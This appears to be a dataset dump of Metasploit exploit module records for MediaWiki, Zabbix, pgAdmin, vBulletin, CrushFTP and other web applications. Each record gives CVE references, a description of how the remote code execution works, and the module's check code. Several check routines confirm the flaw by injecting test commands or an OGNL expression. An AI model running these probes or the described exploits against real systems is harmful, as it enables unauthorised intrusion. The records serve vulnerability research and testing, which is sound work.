deardaniel/secdata-raw huggingface dataset:
Metasploit Module: MediaWiki Thumb.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/mediawiki_thumb.rb
Platform: php
Disclosure date: 2014-01-28
References: CVE-2014-1610, OSVDB-102630, URL-http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html, URL-https://bugzilla.wikimedia.org/show_bug.cgi?id=60339

Description:
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
          when DjVu or PDF file upload support is enabled, allows remote unauthenticated
          users to execute arbitrary commands via shell metacharacters. If no target file
          is specified this module will attempt to log in with the provided credentials to
          upload a file (.DjVu) to use for exploitation.

Check method (fingerprinting):
uri = target_uri.path

    opts = { 'uri' => normalize_uri(uri, 'index.php') }

    response = send_request_cgi!(opts)

    if opts['redirect_uri']
      vprint_status("Redirected to #{opts['redirect_uri']}.")
    end

    unless response
      vprint_status("No response from #{full_uri}.")
      return CheckCode::Unknown('No response received from the target')
    end

    # Mediawiki will give a 404 for unknown pages but still have a body
    if response.code == 200 || response.code == 404
      vprint_status("#{response.code} response received...")

      major, minor, patch = get_version(response.body)

      unless major
        return CheckCode::Unknown('Unable to extract MediaWiki version from response')
      end

      if major == 1 && (minor < 8 || minor > 22)
        return CheckCode::Safe('The target is not running a vulnerable version')
      elsif major == 1 && (minor == 22 && patch > 1)
        return CheckCode::Safe('The target is not running a vulnerable version')
      elsif major == 1 && (minor == 21 && patch > 4)
        return CheckCode::Safe('The target is not running a vulnerable version')
      elsif major == 1 && (minor == 19 && patch > 10)
        return CheckCode::Safe('The target is not running a vulnerable version')
      elsif major == 1
        return CheckCode::Appears('The target appears to be a vulnerable version')
      else
        return CheckCode::Safe('The target is not running a vulnerable version')
      end
    end

    vprint_status(
Metasploit Module: Zabbix Authenticated Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/zabbix_script_exec.rb
Platform: linux
Disclosure date: 2013-10-30
References: CVE-2013-3628, URL-https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats
Targets: Linux Dropper, Unix Command

Description:
ZABBIX allows an administrator to create scripts that will be run on hosts.
          An authenticated attacker can create a script containing a payload, then a host
          with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.

          This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.

Check method (fingerprinting):
auth_token = login
    zabbix_version = get_version

    str = rand_text_alpha(18)

    script_id = create_script(auth_token, zabbix_version, "echo #{str}")
    group_id = find_group_id(auth_token)
    host_id = create_host(auth_token, group_id)

    resp = execute_script(auth_token, host_id, script_id)

    if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')
    end

    return Exploit::CheckCode::Safe('The target version is not vulnerable')
  end
Metasploit Module: SPIP Saisies Plugin Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/spip_saisies_rce.rb
Platform: php
Disclosure date: 2025-02-19
References: CVE-2025-71243, URL-https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html, URL-https://plugins.spip.net/saisies
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated PHP code injection in the SPIP
          Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
          interpolated unsanitized into a hidden field rendered with
          interdire_scripts=false, allowing direct PHP code execution via template
          eval.

          Exploitation requires a publicly accessible page containing a
          saisies-powered form, most commonly created with the Formidable plugin.
          Use the FORM_PAGE option to specify a known form page, or set it to
          'crawl' to automatically discover one by following internal links from
          the SPIP sitemap.

          Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.

Check method (fingerprinting):
version = spip_plugin_version('saisies')
    if version
      print_status("Saisies plugin version: #{version}")
      if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
        return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
      end

      return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
    end

    spip_ver = spip_version
    return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver

    CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
  end

  # Find a page containing a saisies form (_anciennes_valeurs parameter).
  # When FORM_PAGE is set to a specific page name, only that page is checked.
  # When set to 'crawl', the module fetches the SPIP sitemap and follows
  # internal links until a form is found or CRAWL_MAX_PAGES is reached.
Metasploit Module: pgAdmin Query Tool authenticated RCE (CVE-2025-2945)
Type: exploit
Path: modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb
Platform: python
Disclosure date: 2025-04-03
References: CVE-2025-2945
Targets: Python payload

Description:
This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
          and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
          statement, resulting in remote code execution in versions prior to 9.2.

          To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
          SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
          which is required for the exploit.

Check method (fingerprinting):
# Although there is no low bound mentioned in the advisory, we can see that the vulnerable eval() statement was
    # introduced in version 8.10: https://github.com/pgadmin-org/pgadmin4/commit/22cdb86aab5825787a36d149f8e6eb34fb26d817
    check_version('9.2', '8.10')
  end

  # Return only the required URI encoded fields in order for the POST request to be successful
  # @return [String] The URI encoded form data for the POST request
Metasploit Module: OrientDB 2.2.x Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/orientdb_exec.rb
Platform: linux
Disclosure date: 2017-07-13
References: CVE-2017-11467, URL-https://blogs.securiteam.com/index.php/archives/3318, URL-http://www.palada.net/index.php/2017/07/13/news-2112/, URL-https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017
Targets: Linux, Unix CMD, Windows

Description:
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
          All versions from 2.2.2 up to 2.2.22 should be vulnerable.

Check method (fingerprinting):
uri = target_uri
    uri.path = normalize_uri(uri.path)
    res = send_request_raw({ 'uri' => "#{uri.path}listDatabases" })
    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    if res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
      print_good("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Appears('OrientDB 2.2.x detected via Server header')
    else
      print_status("Version: #{res.headers['Server']}")
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    end
  end
Metasploit Module: vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.
Type: exploit
Path: modules/exploits/multi/http/vbulletin_widget_template_rce.rb
Platform: php
Disclosure date: 2020-08-09
References: URL-https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/, CVE-2020-17496
Targets: Meterpreter (PHP In-Memory), Unix (CMD In-Memory), Windows (CMD In-Memory)

Description:
This module exploits a logic bug within the template rendering code in vBulletin 5.x.
          The module uses the vBulletin template rendering functionality to render the
          'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument.
          This causes the former template to load the latter bypassing filters originally put in place
          to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input
          allowing the module to achieve PHP remote code execution on the target. This module has been
          tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.

Check method (fingerprinting):
rand_str = Rex::Text.rand_text_alpha(8)
    received = execute_command(cmd_payload("echo #{rand_str}"))
    if received && received.body.include?(rand_str)
      return Exploit::CheckCode::Vulnerable('Successfully verified code execution on the target')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Apache Roller OGNL Injection
Type: exploit
Path: modules/exploits/multi/http/apache_roller_ognl_injection.rb
Platform: java
Disclosure date: 2013-10-31
References: CVE-2013-4212, URL-http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html

Description:
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
          vulnerability is due to an OGNL injection on the UIAction controller because of an
          insecure usage of the ActionSupport.getText method. This module has been tested
          successfully on Apache Roller 5.0.1 on Ubuntu 10.04.

Check method (fingerprinting):
addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
      'vars_get' =>
        {
          'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}",
        }
    })

    if res and res.code == 200 and res.body =~ /#{sum}/
      return Exploit::CheckCode::Vulnerable('Successfully verified OGNL injection vulnerability')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: CMS Made Simple (CMSMS) Showtime2 File Upload RCE
Type: exploit
Path: modules/exploits/multi/http/cmsms_showtime2_rce.rb
Platform: php
Disclosure date: 2019-03-11
References: CVE-2019-9692, EDB-46546, URL-https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285, URL-http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47

Description:
This module exploits a File Upload vulnerability that lead in a RCE in
          Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
          user with "Use Showtime2" privilege could exploit the vulnerability.

          The vulnerability exists in the Showtime2 module, where the class
          "class.showtime2_image.php" does not ensure that a watermark file
          has a standard image file extension (GIF, JPG, JPEG, or PNG).

          Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
          3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
    )

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not connect to the target')
    end

    if res.code == 200
      module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
      if module_version < Rex::Version.new('3.6.3')
        # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
        vprint_status("Showtime2 version: #{module_version}")
        return Exploit::CheckCode::Appears('The target is running a vulnerable version')
      end
    end

    return Exploit::CheckCode::Safe('The target version is not vulnerable')
  end
Metasploit Module: n8n Workflow Expression Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/n8n_workflow_expression_rce.rb
Platform: unix
Disclosure date: 2025-06-10
References: CVE-2025-68613, URL-https://github.com/n8n-io/n8n/security/advisories, URL-https://nvd.nist.gov/vuln/detail/CVE-2025-68613
Targets: Unix/Linux Command, Windows Command

Description:
This module exploits a critical remote code execution vulnerability (CVE-2025-68613)
          in the n8n workflow automation platform. The vulnerability exists in the workflow
          expression evaluation system where user-supplied expressions enclosed in {{

Check method (fingerprinting):
return CheckCode::Unknown('Could not authenticate to n8n') unless authenticate

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest', 'settings')
    )

    return CheckCode::Unknown('Could not connect to n8n') if res.blank?
    return CheckCode::Detected('Connected to n8n, received unexpected response') unless res.code == 200

    json = res.get_json_document
    version = Rex::Version.new(json.dig('data', 'versionCli'))

    return CheckCode::Detected('n8n detected but could not determine version') unless version

    print_status("Detected n8n version: #{version}")

    return CheckCode::Appears("Version #{version} is vulnerable") if version.between?(Rex::Version.new('0.211.0'), Rex::Version.new('1.120.4')) || version == Rex::Version.new('1.121.0')

    CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Apache RocketMQ update config RCE
Type: exploit
Path: modules/exploits/multi/http/apache_rocketmq_update_config.rb
Platform: %w[unix linux
Disclosure date: 2023-05-23
References: URL-https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples, CVE-2023-33246
Targets: Automatic (Unix In-Memory)

Description:
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
          leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
          the update configuration function to execute commands as the system users that RocketMQ is running as.
          Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.

Check method (fingerprinting):
@version_request_response = send_version_request
    return Exploit::CheckCode::Unknown('Unable to determine the version') unless @version_request_response

    @parsed_data = parse_rocketmq_data(@version_request_response)
    return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']

    version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))
    return Exploit::CheckCode::Unknown('Unable to determine the version') unless version

    if version > Rex::Version.new('5.0.0')
      return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')
    elsif version <= Rex::Version.new('4.9.5')
      return Exploit::CheckCode::Appears("RocketMQ version: #{version}")
    end
    Exploit::CheckCode::Safe("RocketMQ version: #{version}")
  end
Metasploit Module: WikkaWiki 1.3.2 Spam Logging PHP Injection
Type: exploit
Path: modules/exploits/multi/http/wikka_spam_exec.rb
Platform: php
Disclosure date: 2011-11-30
References: CVE-2011-4451, OSVDB-77393, EDB-18177

Description:
This module exploits a vulnerability found in WikkaWiki.  When the spam logging
          feature is enabled, it is possible to inject PHP code into the spam log file via the
          UserAgent header, and then request it to execute our payload.  There are at least
          three different ways to trigger spam protection, this module does so by generating
          10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

          Please note that in order to use the injection, you must manually pick a page
          first that allows you to add a comment, and then set it as 'PAGE'.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    res = send_request_raw({
      'method' => 'GET',
      'uri' => "#{uri}/wikka.php?wakka=HomePage"
    })

    if res and res.body =~ /Powered by WikkaWiki/
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  #
  # Get the cookie before we do any of that login/exploity stuff
  #
Metasploit Module: SysAid Help Desk Administrator Portal Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/sysaid_auth_file_upload.rb
Platform: linux
Disclosure date: 2015-06-03
References: CVE-2015-2994, URL-https://seclists.org/fulldisclosure/2015/Jun/8

Description:
This module exploits a file upload vulnerability in SysAid Help Desk.
          The vulnerability exists in the ChangePhoto.jsp in the administrator portal,
          which does not correctly handle directory traversal sequences and does not
          enforce file extension restrictions. While an attacker needs an administrator
          account in order to leverage this vulnerability, there is a related Metasploit
          auxiliary module which can create this account under some circumstances.
          This module has been tested in SysAid v14.4 in both Linux and Windows.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'),
      'method' => 'GET'
    })
    if res && res.code == 200 && res.body.to_s =~ %r{css/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})}
      major = ::Regexp.last_match(1).to_i
      minor = ::Regexp.last_match(2).to_i
      if major == 14 && minor == 4
        return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
      elsif major > 14
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    # Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not
    return Exploit::CheckCode::Unknown('An error occurred while checking the target')
  end
Metasploit Module: CrushFTP Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/crushftp_rce_cve_2023_43177.rb
Platform: java
Disclosure date: 2023-08-08
References: URL-https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/, URL-https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py, URL-https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update, CVE-2023-43177
Targets: Java, Linux Dropper, Windows Dropper

Description:
This exploit module leverages an Improperly Controlled Modification
          of Dynamically-Determined Object Attributes vulnerability
          (CVE-2023-43177) to achieve unauthenticated remote code execution.
          This affects CrushFTP versions prior to 10.5.1.

          It is possible to set some user's session properties by sending an HTTP
          request with specially crafted Header key-value pairs. This enables an
          unauthenticated attacker to access files anywhere on the server file
          system and steal the session cookies of valid authenticated users. The
          attack consists in hijacking a user's session and escalates privileges
          to obtain full control of the target. Remote code execution is obtained
          by abusing the dynamic SQL driver loading and configuration testing
          feature.

Check method (fingerprinting):
vprint_status('Checking CrushFTP Server')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),
      'method' => 'GET'
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
    return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i

    cookie = get_anon_session

    vprint_status('Checking if the attack primitive works')
    # This will raise an exception in case of error
    send_as2_query_api

    do_logout(cookie)

    CheckCode::Appears('The target appears to be vulnerable based on the response')
  rescue CrushFtpError => e
    CheckCode::Unknown("#{e.class} - #{e.message}")
  end
Metasploit Module: phpFileManager 0.9.8 Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/phpfilemanager_rce.rb
Platform: unix
Disclosure date: 2015-08-28
References: CVE-2015-5958, EDB-37709, URL-http://phpfm.sourceforge.net/

Description:
This module exploits a remote code execution vulnerability in phpFileManager
          0.9.8 which is a filesystem management tool on a single file.

Check method (fingerprinting):
txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt}")

    if res && res.body =~ /#{txt}/
      return Exploit::CheckCode::Vulnerable('Successfully verified remote command execution vulnerability')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Cockpit CMS NoSQLi to RCE
Type: exploit
Path: modules/exploits/multi/http/cockpit_cms_rce.rb
Platform: php
Disclosure date: 2021-04-13
References: URL-https://swarm.ptsecurity.com/rce-cockpit-cms/, CVE-2020-35847, CVE-2020-35846

Description:
This module exploits two NoSQLi vulnerabilities to retrieve the user list,
          and password reset tokens from the system.  Next, the USER is targetted to
          reset their password.
          Then a command injection vulnerability is used to execute the payload.
          While it is possible to upload a payload and execute it, the command injection
          provides a no disk write method which is more stealthy.
          Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
          for exploitation.

Check method (fingerprinting):
begin
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') unless get_users(check: true)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe('The target is not vulnerable')
  end